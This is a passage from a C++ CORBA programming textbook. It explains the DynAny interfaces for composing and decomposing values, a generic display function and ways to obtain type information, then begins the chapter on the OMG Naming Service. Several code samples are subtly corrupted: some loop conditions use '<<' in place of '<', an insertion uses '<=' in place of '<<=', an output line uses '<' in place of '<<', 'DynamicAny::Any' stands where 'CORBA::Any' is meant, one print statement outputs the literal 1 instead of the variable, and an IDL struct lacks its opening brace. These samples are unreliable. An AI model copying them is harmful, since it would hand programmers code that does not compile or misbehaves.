the length of the sequence leaves the current position unaffected. Otherwise, if the current 
position is -1, it is set to indicate the first of the newly added elements. Increasing the 
length of a sequence beyond its bound raises InvalidValue. 
 
Decreasing the length of a sequence removes elements from the tail of the sequence. The 
current position is set as follows. 
 
If the current position is -1, it remains at -1. 
If the length of the sequence is set to zero, the current position is set to - 1. 
If the current position indicates an element that was not removed when the sequence was 
shortened, the current position remains unaffected. 
If the current position indicates an element that was removed when the sequence was 
shortened, the current position is set to -1. 
 
The get_elements operation returns the elements of the sequence as a sequence of 
any values. The set_elements operation sets the elements of the sequence according 
to the parameter value. set_elements completely replaces the sequence's 
elements and sets the length of the sequence to the number of elements that are passed. 
The current position is set to -1 if set_elements is called with a zero-length sequence; 
otherwise, the current position is set to 0. If the type of the sequence elements disagrees 
with the sequence's type code (either some elements are of the wrong type, or the value 
parameter has more elements than the sequence bound allows), the operation raises 
TypeMismatch. 
 
The get_elements_as_dyn_any and set_elements_as_dyn_any operations 
behave like get_elements and set_elements, but (to avoid unnecessary 
conversions to any) they return and accept sequences of DynAny elements. 

17.3.7 IDL for DynArray 

The DynArray interface allows us to manipulate arrays. 
       
interface DynArray : DynAny { 
    AnySeq      get_elements(); 
    void        set_elements(in AnySeq value) 
                    raises(TypeMismatch, InvalidValue); 
    DynAnySeq   get_elements_as_dyn_any(); 
    void        set_elements_as_dyn_any(in DynAnySeq value) 
                    raises(TypeMismatch, InvalidValue); 
}; 
 
      
The get_elements and set_elements operations work as with sequences. 
However, because arrays have a fixed number of elements, the element sequences always 
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have as many elements as are specified as the array's dimension. set_elements sets 
the current position to 0. set_elements raises a TypeMismatch exception if you 
pass a sequence that contains elements that disagree with the array's type code. If you 
pass a sequence that is too long or too short, set_elements raises InvalidValue. 
The get_elements_as_dyn_any and set_elements_as_dyn_any operations 
have the same semantics as get_elements and set_elements, but they return and 
accept sequences of DynAny (to avoid unnecessary conversions to any). 
 
Note that you can access the dimension of the array via the component_count 
operation. 

17.3.8 IDL for DynFixed 

The DynFixed interface allows us to manipulate anys containing fixed-point values. 
       
interface DynFixed : DynAny { 
    string  get_value(); 
    boolean set_value(in string val) 
                    raises(TypeMismatch, InvalidValue); 
}; 
 
      
IDL does not offer a generic type that could represent fixed-point types with different 
numbers of digits and scale. Therefore, DynFixed uses a string representation to get and 
set fixed-point values. 
 
The get_value operation returns the value of a DynFixed as a string. The syntax is 
the same as for IDL fixed-point constants, with the trailing d or D being optional. For 
example, get_value can return 1.3, 1. 3d, or 1.3D. 
 
The set_value operation sets the value of a DynFixed using the same syntax. 
(Again, a trailing d or D is optional). If set_value is passed a string whose scale 
exceeds the range of the DynFixed, the operation raises InvalidValue. If the passed 
string has invalid syntax, set_value raises TypeMismatch. set_value returns 
true if the passed value can be represented without loss of precision; otherwise, if the 
string contains too many fractional digits, extraneous fractional digits are truncated and 
set_value returns false. 

17.4 C++ Mapping for DynAny 

The C++ mapping for DynAny and its derived interfaces follows the normal mapping 
rules, so there are no additional memory management rules or parameter changes to 
consider. Rather than repeat the full interfaces here in their C++ versions, we show a 
number of examples of how to use DynAny to compose and decompose values of 
different types. 
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17.4.1 Using DynAny with Simple Types 

The easiest use of DynAny is with simple types. We can use DynAny both to compose 
and to decompose values. The following code fragment dynamically creates an Any 
value containing a long with value 20.[4]  

[4] Note that all code examples in this chapter assume that a reference to a DynAnyFactory 
was obtained from resolve_initial_references and is available in the variable daf. 

       
// Make a DynAny containing a long with value 20. 
// 
DynamicAny::DynAny_var da 
    = daf->create_dyn_any_from_type_code(CORBA::_tc_long); 
da->insert_long(20); 
 
// Turn it into an Any 
// 
CORBA::Any_var an_any = da->to_any(); 
 
// Use an_any... 
 
// Destroy the DynAny. 
// 
da->destroy();  // da and a deallocate // when they go out of 
scope 
 
      
This code first creates a new DynAny by calling 
create_dyn_any_from_type_code with the type code for long, and then it 
initializes the DynAny by calling insert_long. Now the DynAny is in a defined 
state, and the code calls to_any to convert it into an Any that can, for example, be 
passed across an IDL interface. To get rid of the DynAny, the code calls destroy. Note 
that the variable da calls CORBA::release when it goes out of scope, so it deallocates 
the reference to the DynAny object. 
 
The preceding code example is naive in the sense that it uses a DynAny variable to create 
an Any for a simple value. Strictly speaking, there is no point in doing this because we 
can always create an Any containing a simple value directly without using DynAny. 
However, if we want to compose user-defined complex types, we must use dynamic 
creation; the insert operations for simple types are provided for consistency and to avoid 
having to deal with DynAny for complex types but with Any for simple types. 
 
Instead of creating a DynAny object by supplying a type code, we can create it from an 
Any value. Here is the same code again, but this time the DynAny is created with a call 
to create_dyn_any. 
       
// Make an Any containing the value 20 as a long. 
// 
DynamicAny::Any an_any; 
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an_any <= (CORBA::Long)20; 
 
// Create a DynAny from the Any. 
// 
DynamicAny::DynAny_var da = daf->create_dyn_any(an_any); 
 
// Use da... 
 
// Destroy the DynAny again. 
// 
da->destroy(); 
 
      
Again, looking at this, there seems little point in using DynAny for a simple type such as 
long. However, when user-defined complex types are involved, creating a DynAny 
from an Any becomes important: if an Any contains a value whose type was unknown at 
compile time, we construct a DynAny from the Any and then use the DynAny to 
decompose the value into its components. 
 
The extraction operations on DynAny permit decomposition of simple values, but there 
is little point in using DynAny for this purpose. By definition, simple values are simple 
and therefore do not need to be decomposed. Instead, we can use the type code constants 
and Any values to extract simple values. The extraction functions are provided because 
they make it easier to extract simple values if they appear as components of a complex 
value (see Section 17.4.3). 
 
For completeness, here is an example that uses DynAny to extract a long value from an 
Any. 
       
CORBA::Any an_any = ...;    // Get any from somewhere... 
DynamicAny::DynAny_var da = daf->create_dyn_any(an_any); 
CORBA::TypeCode_var tc = da->type(); 
 
switch (tc->kind()) { 
case CORBA::tk_long: 
    { 
        CORBA::Long l = da->get_long(); 
        cout << "long value is " << 1 << endl; 
    } 
    break; 
// Other cases here... 
} 
da->destroy();  // Clean up 
 
      

17.4.2 Using DynEnum 

In discussing the show_label function in Section 16.4, we encounter a problem. 
Without compile-time knowledge of the IDL, it is impossible to show the label value for 
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a union that has a discriminator of enumerated type. The DynAny functionality allows us 
to get around this problem. 
 
Here again is the relevant part of the show_label function, updated here to use 
DynAny for decomposition of the label value: 
       
void 
 
show_label(const CORBA::Any * ap) 
{ 
 
    CORBA::TypeCode_var tc = ap->type(); 
    if (tc->kind() == CORBA::tk_octet) { 
        cout << "default:" << endl; 
    } else { 
        cout << "case "; 
        switch (tc->kind()) { 
        // ... 
        case CORBA::tk_enum: 
            { 
                DynamicAny::DynAny_var da 
                    = daf->create_dyn_any_from_type_code(tc); 
                DynamicAny::DynEnum_var de 
                    = DynamicAny::DynEnum::_narrow(da); 
                de->from_any(*ap); 
                CORBA::String_var s = de->get_as_string(); 
                cout << s; 
                 
                da->destroy(); 
            } 
             
            break; 
        // ... 
        } 
        cout << ":" << endl; 
    } 
} 
 
      
The branch of the switch statement for enumerated types creates a DynEnum by 
calling create_dyn_any_from_type_code and narrowing the returned reference. 
We know that this must succeed because we have already established that the Any being 
decoded has an enumerated value. The next step is to initialize the DynEnum with the 
actual value by calling from_any. Now the DynEnum is in a well-defined state, and the 
code calls get_as_string to print the name of the enumerator before it destroys the 
original DynAny. You must destroy the value—without the call to destroy, the code 
would leak the DynAny object. 
 
Following is another version of the same code. Instead of explicitly creating a DynAny 
object from the type code, it initializes a DynAny from the Any: 
       
// ... 
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case CORBA::tk_enum: 
    { 
     
        DynamicAny::DynAny_var da = daf->create_dyn_any(*ap); 
        DynamicAny::DynEnum_var de 
            = DynamicAny::DynEnum::_narrow(da); 
        CORBA::String_var s = de->get_as_string(); 
        cout << s; 
         
        da->destroy(); 
         
    } 
     
    break; 
// ... 
 
      
We know from the type code that the Any contains an enumerated value. This means that 
there is no need to test for a nil return value from the call to _narrow because that call 
cannot possibly fail except by throwing an exception (for example, in case of memory 
exhaustion). 
 
We can also use DynEnum to dynamically compose an enumerated value even without 
knowledge of the IDL. To do this, we first construct a type code for the enumerated type 
and then compose a DynEnum for the value. The following code example dynamically 
creates the type code for the SearchCriterion type in the climate control system and 
then sets a DynEnum value to contain the LOCATION enumerator: 
       
// Make a type code for the SearchCriterion type 
// 
 
CORBA::EnumMemberSeq members; 
members.length(3); 
 
members[0] = CORBA::string_dup("ASSET"); 
 
members[1] = CORBA::string_dup("LOCATION"); 
 
members[2] = CORBA::string_dup("MODEL"); 
 
 
CORBA::TypeCode_var enum_tc 
 
    = orb->create_enum_tc( 
     
        "IDL:acme.com/CCS/Controller/SearchCriterion:1.0", 
        "SearchCriterion", members 
         
      ); 
       
 
// Make an Any with the value LOCATION 
// 
DynamicAny::DynAny_var da 
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    = daf->create_dyn_any_from_type_code(enum_tc);  // Create 
DynamicAny::DynEnum_var de 
 
    = DynamicAny::DynEnum::_narrow(da); 
     
de->set_as_string("LOCATION");                      // Set value 
 
CORBA::Any_var an_any = de->to_any();               // Extract Any 
 
// Use an_any... 
 
 
da->destroy();                                      // Clean up 
 
      

17.4.3 Using DynStruct 

The DynStruct class allows us to compose structures and exceptions. Either you can 
supply member values as a sequence of name-value pairs and set member values with a 
single call to set_members or set_members_as_dyn_any, or you can iterate over 
the members and set each member individually. 
 
Following is a code fragment that composes a CCS::Thermostat::BtData 
structure using the set_members_as_dyn_any function. The IDL for this structure 
is as follows: 
       
 
#pragma prefix "acme.com" 
module CCS { 
    // ... 
    typedef short           TempType; 
    // ... 
    interface Thermostat : Thermometer { 
        struct BtData { 
            TempType    requested; 
            TempType    min_permitted; 
            TempType    max_permitted; 
            string      error_msg; 
        }; 
        // ... 
    }; 
    // ... 
}; 
 
      
The code first constructs the type code for the BtData structure and then creates each 
element for the member sequence. To correctly preserve aliasing information, the code 
uses DynAny to construct the members of type TempType. (Recall from Section 
15.4 that we cannot preserve aliases by inserting a simple type directly into an Any.) 
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// Create an alias for short called "TempType". 
// 
 
CORBA::TypeCode_var TempType_tc 
 
    = orb->create_alias_tc( 
     
        "IDL:acme.com/CCS/TempType:1.0", 
         
        "TempType", CORBA::_tc_short 
         
      ); 
       
 
// Create a sequence containing the definitions for the 
// four structure members. 
// 
CORBA::StructMemberSeq  mseq; 
 
mseq.length(4); 
 
mseq[0].name = CORBA::string_dup("requested"); 
mseq[0].type = TempType_tc; 
mseq[1].name = CORBA::string_dup("min_permitted"); 
mseq[1].type = TempType_tc; 
mseq[2].name = CORBA::string_dup("max_permitted"); 
mseq[2].type = TempType_tc; 
mseq[3].name = CORBA::string_dup("error_msg"); 
mseq[3].type = CORBA::TypeCode::_duplicate(CORBA::_tc_string); 
 
// Create a type code for the BtData structure. 
// 
CORBA::TypeCode_var BtData_tc 
    = orb->create_struct_tc( 
        "IDL:acme.com/CCS/Thermostat/BtData:1.0", 
        "BtData", mseq 
      ); 
 
// Create a DynAny objects for the structure members. 
// 
DynamicAny::DynAny_var requested 
    = daf->create_dyn_any_from_type_code(TempType_tc); 
requested->insert_short(99); 
 
DynamicAny::DynAny_var min_permitted 
    = daf->create_dyn_any_from_type_code(TempType_tc); 
min_permitted->insert_short(50); 
DynamicAny::DynAny_var max_permitted 
 
    = daf->create_dyn_any_from_type_code(TempType_tc); 
max_permitted->insert_short(90); 
 
 
DynamicAny::DynAny_var error_msg 
    = daf->create_dyn_any_from_type_code(CORBA::_tc_string); 
error_msg->insert_string("Too hot"); 
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// Create the member sequence. 
// 
DynamicAny::NameDynAnyPairSeq members; 
 
members.length(4); 
members[0].id = CORBA::string_dup("requested"); 
members[0].value = requested; 
members[1].id = CORBA::string_dup("min_permitted"); 
members[1].value = min_permitted; 
members[2].id = CORBA::string_dup("max_permitted"); 
members[2].value = max_permitted; 
members[3].id = CORBA::string_dup("error_msg"); 
members[3].value = error_msg; 
 
// Now create the DynStruct and initialize it. 
// 
DynamicAny::DynAny_var da 
    = daf->create_dyn_any_from_type_code(BtData_tc); 
DynamicAny::DynStruct_var ds 
    = DynamicAny::DynStruct::_narrow(da); 
ds->set_members_as_dyn_any(members); 
 
// Get the Any out of the DynStruct. 
// 
CORBA::Any_var btd = ds->to_any(); 
 
// Use btd... 
 
// Clean up. 
// 
da->destroy(); 
max_permitted->destroy(); 
min_permitted->destroy(); 
requested->destroy(); 
 
      
Note that the code takes care to call destroy for each DynAny it has created. 
 
Instead of calling set_members_as_dyn_any to initialize the structure, we can 
iterate over the members and set them individually. For the BtData structure, this 
approach is considerably easier than the preceding one because there is no need to first 
construct a DynAny for each member: 
       
// Create type code for BtData as before... 
CORBA::TypeCode_var BtData_tc = ...; 
 
// Create DynStruct and initialize members using iteration. 
// 
DynamicAny::DynAny_var da 
    = daf->create_dyn_any_from_type_code(BtData_tc); 
DynamicAny::DynStruct_var ds 
    = DynamicAny::DynStruct::_narrow(da); 
DynamicAny::DynAny_var member; 
member = ds->current_component(); 
member->insert_short(99);           // Set requested 
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ds->next(); 
member = ds->current_component(); 
member->insert_short(50);           // Set min_permitted 
ds->next(); 
member = ds->current_component(); 
member->insert_short(90);           // Set max_permitted 
ds->next(); 
member = ds->current_component(); 
member->insert_string("Too hot");   // Set error_msg 
 
CORBA::Any_var btd = ds->to_any();  // Get the Any 
 
// Use btd... 
 
da->destroy();  // Clean up 
 
      
After calling current_component, the code calls next to advance the current 
position to the next member. Note that there is no need to explicitly destroy the DynAny 
objects returned by current_component; it is sufficient to destroy only da because 
destroying a DynAny also destroys its constituent components. 
 
The preceding code correctly preserves aliasing information for the members. For 
example, the type code for the requested member indicates CCS::TempType 
instead of short because the type code for BtData contains the aliasing information. 
To decompose a structure, either we can call get_members to extract the members and 
then decompose each element of the returned sequence, or we can iterate over the 
structure and decompose the members one by one. Following is a code fragment that 
iterates over the components of a DynStruct and hands each component to a 
display helper function: 
       
DynamicAny::DynStruct_var ds = ...; 
for (CORBA::ULong i = 0; i << ds->component_count(); i++) { 
    DynamicAny::DynAny_var cc = ds->current_component(); 
    CORBA::String_var name = ds->current_member_name(); 
    cout << name << " = "; 
    display(cc); 
    ds->next(); 
} 
 
      
This code calls component_count to get the number of members and uses that 
number to control the loop. On each iteration, a call to next advances the current 
position to the next member. 

17.4.4 Using DynUnion 

To compose a union, you must set the discriminator and active member. Following is a 
code fragment that creates a KeyType union for the climate control system: 
       
// Create DynUnion. 
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// 
DynamicAny::DynAny_var da 
    = daf->create_dyn_any_from_type_code( 
        CCS::Controller::_tc_KeyType 
      ); 
DynamicAny::DynUnion_var du = DynamicAny::DynUnion::_narrow(da); 
 
// Set discriminator to LOCATION. 
// 
DynamicAny::DynAny_var tmp = du->get_discriminator(); 
DynamicAny::DynEnum_var disc = DynamicAny::DynEnum::_narrow(tmp); 
disc->set_as_ulong(1);  // LOCATION 
 
// Set member for LOCATION. 
// 
DynamicAny::DynAny_var member = du->member(); 
member->insert_string("Room 414"); 
 
// Use du... 
 
da->destroy();  // Clean up 
 
      
For simplicity, the code creates the DynUnion using the generated _tc_KeyType 
constant, but it could have used a synthesized type code instead. 
 
The first step is to get the DynAny for the discriminator and to narrow that DynAny to a 
DynEnum interface. This narrowing step must succeed because we know that the union 
has an enumerated discriminator. The second step sets the discriminator value to indicate 
that the location member is active. Now that the correct union member is indicated by 
the discriminator, the code calls the member function on the DynUnion to get the 
DynAny for the active member and then sets the active member's value using the 
DynAny returned by member. Finally, the code calls destroy to avoid leaking the 
DynUnion created initially. 
 
To compose a union that does not have an active member, you use 
set_to_no_active_member. To compose a union that activates the default 
member, you can either call set_to_default_member (if you don't care about the 
precise value of the discriminator) or set the discriminator to a value that activates the 
default member. 
 
Decomposition of unions follows the general pattern of ensuring that a union member is 
active, followed by decomposition of that member: 
       
DynamicAny::DynUnion_var du = ...;  // Get DynUnion... 
 
DynamicAny::DynAny_var disc = du->get_discriminator(); 
// Decompose discriminator... 
 
if (!du->has_no_active_member()) { 
    CORBA::String_var mname = du->member_name(); 
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    cout < "member name is " < mname < endl; 
    DynamicAny::DynAny_var member = du->member(); 
    // Decompose member... 
} 
 
      

17.4.5 Using DynSequence 

Composition of sequences presents you with two options. Either you can iterate over the 
sequence using the DynAny base interface iterator operations, or you can use 
set_elements or set_elements_as_dyn_any to supply the sequence 
elements as a sequence of any or DynAny values. 
 
The following code fragment fills a sequence of values using iteration. We assume that 
the IDL contains a definition LongSeq for a sequence of long values. 
       
DynamicAny::DynAny_var da 
    = daf->create_dyn_any_from_type_code(_tc_LongSeq); 
DynamicAny::DynSequence_var ds 
    = DynamicAny::DynSequence::_narrow(da); 
 
ds->set_length(20); 
for (CORBA::ULong i = 0; i < ds->component_count(); i++) { 
    DynamicAny::DynAny_var elmt = ds->current_component(); 
    elmt->insert_long(i); 
    ds->next(); 
} 
 
// Use ds... 
 
da->destroy();  // Clean up 
 
      
For decomposition of a sequence, you can either iterate over the individual members or 
call get_elements or get_elements_as_dyn_any. Following is a code 
fragment that extracts the elements from a sequence of long values using 
get_elements. Note that get_elements returns a sequence of Any (not DynAny), 
so the code extracts the long values from the members for printing: 
       
DynamicAny::DynSequence_var ds = ...; 
 
DynamicAny::AnySeq_var as = ds->get_elements(); 
for (CORBA::ULong i = 0; i << as->length(); i++) { 
    CORBA::ULong val; 
    as[i] >>= val; 
    cout << val << endl; 
} 
 

17.5 Using DynAny for Generic Display 
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One useful application of DynAny is for generic display purposes. Using DynAny, we 
can decompose an arbitrary Any value into its constituent parts at run time and display 
them on screen. This capability is useful, for example, for debuggers, which must be able 
to inspect a value even if the value's type was not known at compile time. 
 
Following is an outline for such a generic display function. We have left it incomplete to 
save space, so not all possible types are dealt with. However, there is enough for you to 
see how you would complete the function to handle the remaining types. Note that our 
display function simply writes to standard output and does not make any attempt to 
improve the layout of the data. Of course, there is nothing to prevent you from using 
more-sophisticated means to present the contents of a value, such as list widgets for a 
graphical user interface. 
      
void 
display(DynamicAny::DynAny_ptr da) 
{ 
    // Strip aliases 
    // 
    CORBA::TypeCode_var tc(da->type()); 
    while (tc->kind() == CORBA::tk_alias) 
        tc = tc->content_type(); 
 
    // Deal with each type of data. 
    // 
    switch (tc->kind()) { 
    case CORBA::tk_short: 
        cout << da->get_short(); 
        break; 
    case CORBA::tk_long: 
        cout << da->get_long(); 
        break; 
    case CORBA::tk_string: 
        { 
            CORBA::String_var s(da->get_string()); 
            cout << "\"" << s << "\""; 
        } 
        break; 
     
    // Deal with remaining simple types here... (not shown) 
    // 
    case CORBA::tk_struct: 
    case CORBA::tk_except: 
        { 
           DynamicAny::DynStruct_var ds = 
               DynamicAny::DynStruct::_narrow(da); 
           for (int i = 0; i << ds->component_count(); i++) { 
               DynamicAny::DynAny_var cm(ds->current_component()); 
               CORBA::String_var mem(ds->current_member_name()); 
               cout << mem << " = " << endl; 
               display(cm); 
               ds->next(); 
           } 
        } 
        break; 
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    case CORBA::tk_enum: 
        { 
            DynamicAny::DynEnum_var de 
                = DynamicAny::DynEnum::_narrow(da); 
            CORBA::String_var val(de->get_as_string()); 
            cout << val << endl; 
            break; 
        } 
    case CORBA::tk_objref: 
        { 
            CORBA::TypeCode_var tc(da->type()); 
            CORBA::String_var id(tc->id()); 
            cout << "Object reference (" << id << ")" << endl; 
            CORBA::Object_var obj(da->get_reference()); 
            CORBA::String_var str_ref(orb->object_to_string(obj)); 
            cout << str_ref << endl; 
        } 
        break; 
    case CORBA::tk_array: 
        { 
           for (int i = 0; i << da->component_count(); i++) { 
               DynamicAny::DynAny_var cm(da->current_component()); 
               cout << "[" << i << "] = " << endl; 
               display(cm); 
               da->next(); 
           } 
        } 
        break; 
    // Deal with remaining complex types here... (not shown) 
    // 
    } 
    cout << endl; 
} 
 

17.6 Obtaining Type Information 

When you look at the preceding sections, you will notice that the sample code we have 
presented still contains type information. However, instead of this type information being 
in the form of IDL-generated stubs, it is now in the form of manifest constants in the 
source code, such as literal repository IDs. This means that the source code still has 
compile-time knowledge of the IDL types, at least for composition of types. The question 
really is this: How does an application otherwise (without linking against the stubs and 
without using manifest constants) obtain the necessary type information to compose 
values? 
 
The answer depends on the application. For decomposition of values, no compile-time 
knowledge of the IDL types is required at all. The TypeCode and DynAny interfaces 
provide all the necessary functionality to decompose a complex value into its constituent 
values without any compile-time knowledge of the IDL types. However, for composition 
of values, we clearly need to get type knowledge from somewhere. The following 
sections present options for getting that type knowledge at run time. 
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17.6.1 Type Information from the OMG Interface Repository 

One option is to consult an interface repository at run time. We do not cover the OMG 
Interface Repository in this book, so we do not present this option in detail. Suffice it to 
say that the Interface Repository (IFR) allows you to discover the complete IDL 
definition of a type at run time by using the type's repository ID as an index into the 
Interface Repository. The IFR returns object references to type descriptions that fully 
describe a type. This is similar in nature (if not in detail) to the way type codes describe 
the type of a value. The main difference between type codes and the IFR is that the IFR 
can describe things other than value types, such as interfaces, operations, attributes, and 
modules. 
 
Using the IFR, DynAny, and the DII in combination, we can, for example, build a 
universal CORBA client. Given an object reference to an object of arbitrary type, such a 
universal client extracts the interface definition of the object from the IFR and 
dynamically constructs a user interface that reflects the operations and attributes of the 
object. We can then enter values into that interface; the universal client uses DynAny to 
turn these values into parameters for operations that it invokes via the DII. 

17.6.2 Type Information from Translation Tables 

Another option is to compose values dynamically by using rules for translating one type 
system into another. For example, a CORBA-CMIP bridge can use the mapping rules 
defined by the Joint Inter-Domain Management (JIDM) specification [24] [30] to work 
out how to transform each CORBA request into a Common Management Information 
Protocol (CMIP) request and vice versa. In effect, you configure such a bridge by 
compiling the relevant IDL or GDMO[5] definitions with a tool that produces output in the 
form of translation tables or shared libraries to drive the operation of the bridge. The 
bridge uses the fixed translation rules together with the dynamic type information 
provided by the tool to work out how to convert requests and data types between the two 
protocols. 

[5] GDMO stands for Guidelines for the Definition of Managed Objects. It is a type definition 
language for Open Systems Interconnect (OSI) network management. 

17.6.3 Type Information from Expressions 

The CORBA Notification Service [26] obtains knowledge of the relevant types from its 
clients. Briefly, the OMG Notification Service extends the OMG Event Service (see 
Chapter 20) using the notion of filters. A filter is a Boolean expression that determines 
whether a particular event (which is of type any) will be forwarded by a channel. A 
client installs a filter in a channel by supplying a filter expression such as 
       
$._repos_id == 'IDL:CCS/Thermostat/BtData:1.0' and 
($.requested > 90 or $.requested < 20) 
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The relevant type information is supplied to the channel as part of the filter expression so 
that the channel can match any values against the filter. Typically, the channel is 
implemented so that it first creates an abstract syntax tree for the filter expression and 
then evaluates each node in the tree. Because the expression itself contains things such as 
repository IDs and field names, the channel can evaluate the filter against an any value 
without requiring additional type information from an interface repository. 

17.7 Summary 

DynAny provides composition and decomposition for values in a way that is analogous 
to the way TypeCode provides composition and decomposition for types. Together, 
DynAny and TypeCode provide the features required by generic applications that do 
not have knowledge of the compile-time types of values. DynAny was revised with 
CORBA 2.3 in a way that is not backward-compatible. Before developing code that uses 
DynAny, you should ensure that you have the 2.3 version. 
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Part V: CORBAservices 

Chapter 18. The OMG Naming Service 

18.1 Chapter Overview 

This chapter shows how you can use a Naming Service to obtain object references 
without having to pass them around as strings. Sections 18.2 and 18.3 present the 
fundamental ideas and concepts of the service. Sections 18.4 to 18.9 present the 
details of the IDL operations and explain how to manipulate and locate names and object 
references in a naming graph. Sections 18.10 to 18.13 discuss a number of design 
issues, such as the implications of using the Naming Service as part of your overall 
application architecture and the options for federated naming. Section 18.14 shows 
how to use the Naming Service in the climate control system. 

18.2 Introduction 

The OMG Naming Service [21] is the simplest and most basic of the standardized 
CORBA services. It provides a mapping from names to object references: given a name, 
the service returns an object reference stored under that name. This is similar to the 
Internet Domain Name Service (DNS), which translates Internet domain names (such as 
acme.com) into IP addresses (such as 234.234.234.234). Both the OMG Naming 
Service and the DNS implement simple mappings from a name to a lookup value and are 
often likened to a white pages phone book, which maps subscriber names to telephone 
numbers. 
The Naming Service provides a number of advantages to clients.[1]  

[1] In the context of this discussion, the term client is used to refer to a client of the Naming 
Service. That client may be either a client or a server as far as your application is concerned. 

Clients can use meaningful names for objects instead of having to deal with stringified 
object references. 
 
By changing the value of a reference advertised under a name, you can get clients to use a 
different implementation of an interface without having to change source code. The 
clients use the same name but get a different reference. 
 
The Naming Service can be used to solve the problem of how application components get 
access to the initial references for an application. Advertising these references in the 
Naming Service eliminates the need to store them as stringified references in files. 

18.3 Basic Concepts 
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The Naming Service maps names to object references. A name-to-reference association is 
called a name binding. The same object reference can be stored several times under 
different names, but each name identifies exactly one reference. A naming context is an 
object that stores name bindings. In other words, each context object implements a table 
that maps names to object references. A name in the table can denote either an object 
reference to an application object (such as the CCS controller) or another context object 
in the Naming Service. This means that, like a file system, contexts can be connected to 
form hierarchies: contexts correspond to directories that store names to either directories 
(other contexts) or files (application objects). A hierarchy of contexts and bindings is 
known as a naming graph. Figure 18.1 shows an example of a naming graph. 

Figure 18.1 A naming graph. 

 
In this graph, hollow nodes are naming contexts and solid nodes are application objects. 
A context can appear either as an interior node or as a leaf node, whereas an application 
object always appears as a leaf node. Directed arcs represent object references and are 
labeled with the name they appear under in their context. 
 
This naming graph is similar to what you would expect to see for a DOS or UNIX file 
system. 
 
Within a particular context, name bindings are unique (each binding can appear only once 
within its parent context). 
 
Given a starting context, you can navigate to a target node by traversing a path from the 
starting context to the target node. The sequence of bindings used in the traversal forms a 
pathname that uniquely identifies the target object. 
 
The same name binding can appear multiple times provided that each binding is in a 
different parent context. For example, the binding bin appears twice in the graph in 
Figure 18.1. 
 
A single object or context can have multiple names. For example, the sample graph uses 
the name bindings sys and s1 for the same context. (This corresponds to the concept of 
multiple links to the same file or directory in a UNIX file system.) 
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Apart from its similarities to hierarchical file systems, the naming graph in Figure 18.1 
illustrates a few significant differences. 
 
It is possible for the graph to have contexts that have no names. Such contexts are known 
as orphaned contexts. (This is different from a normal file system, which requires every 
file and directory to have a name.) 
 
A naming graph has one or more distinguished contexts known as initial naming contexts. 
Typically, initial naming contexts are orphaned contexts (but they need not be). 
Conversely, if a context is orphaned, it is typically also an initial naming context. As you 
will see in Section 18.6.3, initial naming contexts determine the points at which 
clients gain access to a naming graph. An initial naming context corresponds to what we 
think of as the root directory of a file system. 
 
A naming graph can have more than one root. Typically, each such root is also 
configured as an initial naming context. 
 
A graph can consist of several disconnected subgraphs. 
 
It is possible for the graph to have loops. 
 
There are reasons for these differences. The OMG Naming Service can be implemented 
either as a stand-alone service or as a front end to some other existing naming service. If 
implemented as a front end, the OMG Naming Service must reflect the semantics of the 
back-end service. If the back end permits loops, the front end must also permit them. The 
OMG Naming Service therefore imposes as few restrictions as possible on the shape of 
the naming graph to avoid restricting the choice of back-end service. 
 
Nevertheless, it is probably best if you avoid loops in your naming graph. Loops make 
the service harder to administer because they create an infinite number of pathnames for 
the same binding. For example, by traversing the collections, cd, and app2 
bindings in a loop, the graph in Figure 18.1 contains an infinite number of pathnames. 
If a naming graph consists of several disconnected subgraphs, each root is typically 
configured as an initial naming context. Clients can gain access to initial naming contexts 
via a special API call (see Section 18.6.3). 

18.4 Structure of the Naming Service IDL 

The IDL definitions for the Naming Service are provided in a file called 
CosNaming.idl. The file contains a single module called CosNaming. This module 
contains a number of type definitions and two interfaces: NamingContext and 
BindingIterator. The overall structure of the IDL for the service is as follows: 
      
//File: CosNaming.idl 
#pragma prefix "omg.org" 
module CosNaming { 
    // Type definitions here... 



IT-SC book: Advanced CORBA® Programming with C++ 

 671

    interface NamingContext { 
        // ... 
    };  
    interface BindingIterator { 
        // ... 
    }; 
}; 
 
     
Note that the repository IDs for the entire specification carry the prefix omg.org. This is 
a common feature of all OMG specifications and avoids polluting the global namespace 
for repository IDs. 

18.5 Semantics of Names 

Intuitively, the names used by the Naming Service behave like file names in a file system. 
However, there are some differences you need to be aware of. 

18.5.1 Name Structure 

The names used by the OMG Naming Service are not quite the same as ordinary file 
names. Here are the relevant definitions: 
       
module CosNaming { 
    typedef string Istring; 
    struct NameComponent 
        Istring id; 
        Istring kind; 
    }; 
    typedef sequence<NameComponent> Name; 
    // ... 
}; 
 
      
The NameComponent structure corresponds to a single "hop" in a pathname. A 
sequence of name components corresponds to a pathname that defines a traversal from 
some starting context to a target binding. Note that each name component itself consists 
of a pair of strings: id and kind. In this respect, CosNaming names differ from ordinary 
pathnames for files (in a pathname, each component is a simple string and not a pair of 
strings). 

18.5.2 Name Representation 

The OMG Naming Service specification does not define a representation of names as 
strings. In other words, we cannot simply write something such as user/u1/fred to 
denote a pathname. For one thing, the OMG Naming Service places no restrictions on the 
characters that may be used in a name component (the full set of ISO Latin-1 characters 
is permissible, including non-printing characters).[2] This means that there is no dedicated 
separator character, such as "/," to separate name components. Second, because name 
components themselves consist of a pair of strings, stringified names would require a 
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secondary separator (other than "/") to separate the id and kind parts of a name 
component.[3] Because there is no specified way to express a CosNaming name as a 
string, we can use tables to show names. 

[2] The specification allows an implementation of the Naming Service to restrict the permissible 
characters, so it can use back-end naming services that support only a limited character set. 
Most implementations do not restrict the set of permissible characters, but you must inquire 
from your vendor whether your Naming Service has any restrictions. 

[3] At the time of this writing, the OMG is evaluating submissions for a revised Naming Service. 
The revised service will define a stringified representation for names. 

The name shown in Table 18.1 consists of three components. For all three components, 
only the id fields are used and the kind fields are the empty string. Another example of a 
name is shown in Table 18.2. 

Table 18.1. A name represented as a table (all kind fields are the empty string). 
Index id kind 

0 user   
1 u1   
2 fred   
 

Table 18.2. A name using both id and kind fields. 
Index id kind 

0 a/b dir 
1     
2 ctrl factory 
This three-component name has a first component with an id field of a/b and a kind 
field of dir. The second component has the empty string as both the id and the kind 
fields, and the third component uses ctrl and factory as the values of the id and the 
kind fields, respectively. 
 
For the remainder of this chapter, we use a typographical convention to represent names. 
For example, the following is the same name as the one shown in Table 18.1. 
       
     user/u1/fred 
 
      
We use a slash as a separator for name components here; to avoid confusion in our 
notation, we do not use names that contain slashes themselves (even though it is perfectly 
legal as far as the Naming Service is concerned). 
 
To show a name that also uses the kind fields, we use the notation 
       
     user(dir)/u1(dir)/fred(person) 
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This corresponds to the three-component name shown in Table 18.3. Again, to avoid 
